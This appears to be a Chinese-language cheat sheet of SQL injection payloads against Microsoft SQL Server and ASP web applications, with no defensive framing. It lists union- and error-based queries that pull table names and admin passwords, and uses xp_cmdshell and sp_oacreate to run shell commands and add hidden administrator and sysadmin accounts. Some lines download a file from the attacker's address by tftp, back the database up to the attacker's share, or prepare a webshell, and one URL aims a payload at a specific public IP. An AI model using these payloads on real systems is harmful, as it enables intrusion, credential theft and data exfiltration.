select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses

　　最重要的一些用戶名（默認sql數據庫中存在著的）

public
dbo
guest(一般禁止，或者沒權限)
db_sercurityadmin
ab_dlladmin

　　一些默認擴展

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驅動器相關
xp_dirtree 目錄
xp_enumdsn odbc連接
xp_loginconfig 模式信息
xp_makecab 創建壓縮卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 終端進程，給出一個pid

例如：

sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * from test..foo" queryout c:/inetpub/wwwroot/runcommand.asp
-c -slocalhost -usa -pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-

union select top 1 column_name from information_schema.columns where table_name='logintable'-
union select top 1 column_name from information_schema.columns where table_name='logintable' where column_name not in ('login_id')-
union select top 1 column_name from information_schema.columns where table_name='logintable' where column_name not in ('login_id','login_name')-
union select top 1 login_name from logintable-
union select top 1 password from logintable where login_name='rahul'--

　　構造語句：查詢是否存在xp_cmdshell

' union select @@version,1,1,1--
and 1=(select @@version)
and 'sa'=(select system_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c：/winnt/system32/cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) from master.dbo.sysobjects where
xtype = 'x' and name = 'xp_cmdshell')
;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select is_srvrolemember('sysadmin')) 判斷sa權限是否
and 0<>(select top 1 paths from newtable)-- 暴庫大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名（從1到5都是系統的id，6以上才可以判斷）

　　創建一個虛擬目錄e盤：

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,' cscript.exe c：/inetpub/wwwroot/mkwebdir.vbs -w "默認 web 站點" -v "e","e：/"'
訪問屬性：（配合寫入一個webshell）
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', null,' cscript.exe c：/inetpub/wwwroot/chaccess.vbs -a w3svc/1/root/e +browse'

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數據庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u') 暴到一個表 假設為 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name not in ('admin')) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='u' and name='admin'
and uid>(str(id))) 暴到uid的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 來暴出其他的字段
and 0<(select user_id from bbs.dbo.admin where username>1)

　　可以得到用戶名 依次可以得到密碼。。。。。假設存在user_id username ,password 等字段

show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin

(union語句到處風靡啊，access也好用

　　暴庫特殊技巧：:%5c='/' 或者把/和/ 修改%5提交

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='u' and name not in('address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='u' and name='admin' and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字段

_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--

_blank>http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey='hkey_local_machine', @key='system/currentcontrolset/services/w3svc/parameters/virtual roots/', @value_name='/', [email protected] output insert into paths(path) values(@test)

_blank>http://61.131.96.39/pageshow.asp?tianname=政策法規&infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use%20master;declare%[email protected]%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%[email protected],"run",null,"cmd.exe%20/c%20ping%201.1.1.1";--

　　得到了web路徑d:/xxxx,接下來：

_blank>http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
_blank>http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--

　　傳統的存在xp_cmdshell的測試過程：

;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes / active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http：//www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c：/winnt/system32/cmd.exe /c net user swap 5258 /add'
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null, 'c：/winnt/system32/cmd.exe /c net localgroup administrators swap/add'

_blank>http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-

declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的ip你的共享目錄bak.dat'
如果被限制則可以。
select * from openrowset('sqloledb','server';'sa';'','select ''ok!'' exec master.dbo.sp_addlogin hax')